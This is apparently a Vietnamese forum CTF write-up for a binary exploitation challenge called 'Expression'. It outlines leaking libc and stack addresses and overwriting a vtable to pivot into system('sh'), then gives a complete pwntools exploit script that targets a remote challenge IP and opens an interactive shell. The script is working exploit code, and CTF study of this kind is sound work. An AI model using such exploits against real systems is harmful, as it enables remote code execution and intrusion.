Lâu lâu quay lại nghịch với anh em chút
Pwn002: Expression
- Trong bài này chúng ta có thể leak được địa chỉ main ret -> địa chỉ libc_base -> addr_system
- Leak địa chỉ stack
- Ghi đè vtable -> điều khiển EIP -> stackpivots -> system('sh')
stackpivots được ghi trên stack -> cần leak addr_stack -> ghi đè vtable
POC:
Pwn002: Expression
- Trong bài này chúng ta có thể leak được địa chỉ main ret -> địa chỉ libc_base -> addr_system
- Leak địa chỉ stack
- Ghi đè vtable -> điều khiển EIP -> stackpivots -> system('sh')
stackpivots được ghi trên stack -> cần leak addr_stack -> ghi đè vtable
POC:
Mã:
#!/usr/bin/python
# coding: utf-8
import sys
from pwn import *
import re
bufOff = 0x38
addOff = 0x138
addAddrSaveOff = 0x1A8 # => n = 106
printfGOT = 0x0804A00C
# offset = 0x230
# %200p%139hhn
# dien duoc: aaa%XXXp, %XXX$hhn
# can dien
'''
IEEE 754 double-precision binary floating-point format:
sign bit: 1 bit
exponent width: 11 bits
significand precision: 52 bits
=> (-1)^sign * (1....) * 2^(e-1023)
'''
r = remote("103.237.99.238", 23502)
#leak address of Add in funcs
# C0%106$p
double106 = '15689493888545425171517553939538593962630452632735318932641431496326099575491110895940331523824938734415041889575484758388023300971288190716793723346016069788186453976804505990687847103392041472148862834466375699924634690077656612864'
y = 1
expr = double106+'+'+str(y)
r.recvuntil('(type q to quit): ')
r.sendline(expr + 'A'*(addOff - bufOff - len(expr)) + p32(printfGOT))
leaked = r.recvuntil('(type q to quit): ')
g = re.search(r'\x0c\xa0\x04\x08C0(.*?)Your result', leaked)
addAddr = int(g.group(1), 16)
print('addAddr = 0x%x' % addAddr)
#leak address of libcStartMain
double115 = '15686473471419443415090071412610203931566682293270255779291818625005782169844328775380529476139305610239952058251267775175227480712871066711134098916274130234425947262793234958538224623779034440872690638537463363960191653609549594624'
y = 1
expr = double115+'+'+str(y)
r.sendline(expr + 'A'*(addOff - bufOff - len(expr)) + p32(printfGOT))
leaked = r.recvuntil('(type q to quit): ')
g = re.search(r'\x0c\xa0\x04\x08C0(.*?)Your result', leaked)
libcStartMain243Addr = int(g.group(1), 16)
print('libcStartMain = 0x%x' % libcStartMain243Addr)
libc = ELF('/libcdatabase/db/libc6_2.19-0ubuntu6.9_i386.so') # -------------------------------------- have to fill -----------------
systemOff = libc.symbols['system']
libcStartMain243Off = libc.symbols['__libc_start_main']+243
libcBase = libcStartMain243Addr - libcStartMain243Off
systemAddr = libcBase + systemOff
# ;sh;aaaa
doublesh = '122176368510236856069316127282813742001639096947399384047193436306127371752849322764559939080275836101485223194845042045900068357294380797415881218516438099165184.000000'
y = 1
expr = doublesh+'+'+str(y)
r.sendline(expr + 'A'*(addOff - bufOff - len(expr) - 4)+p32(systemAddr)+p32(addAddr-4))
r.interactive()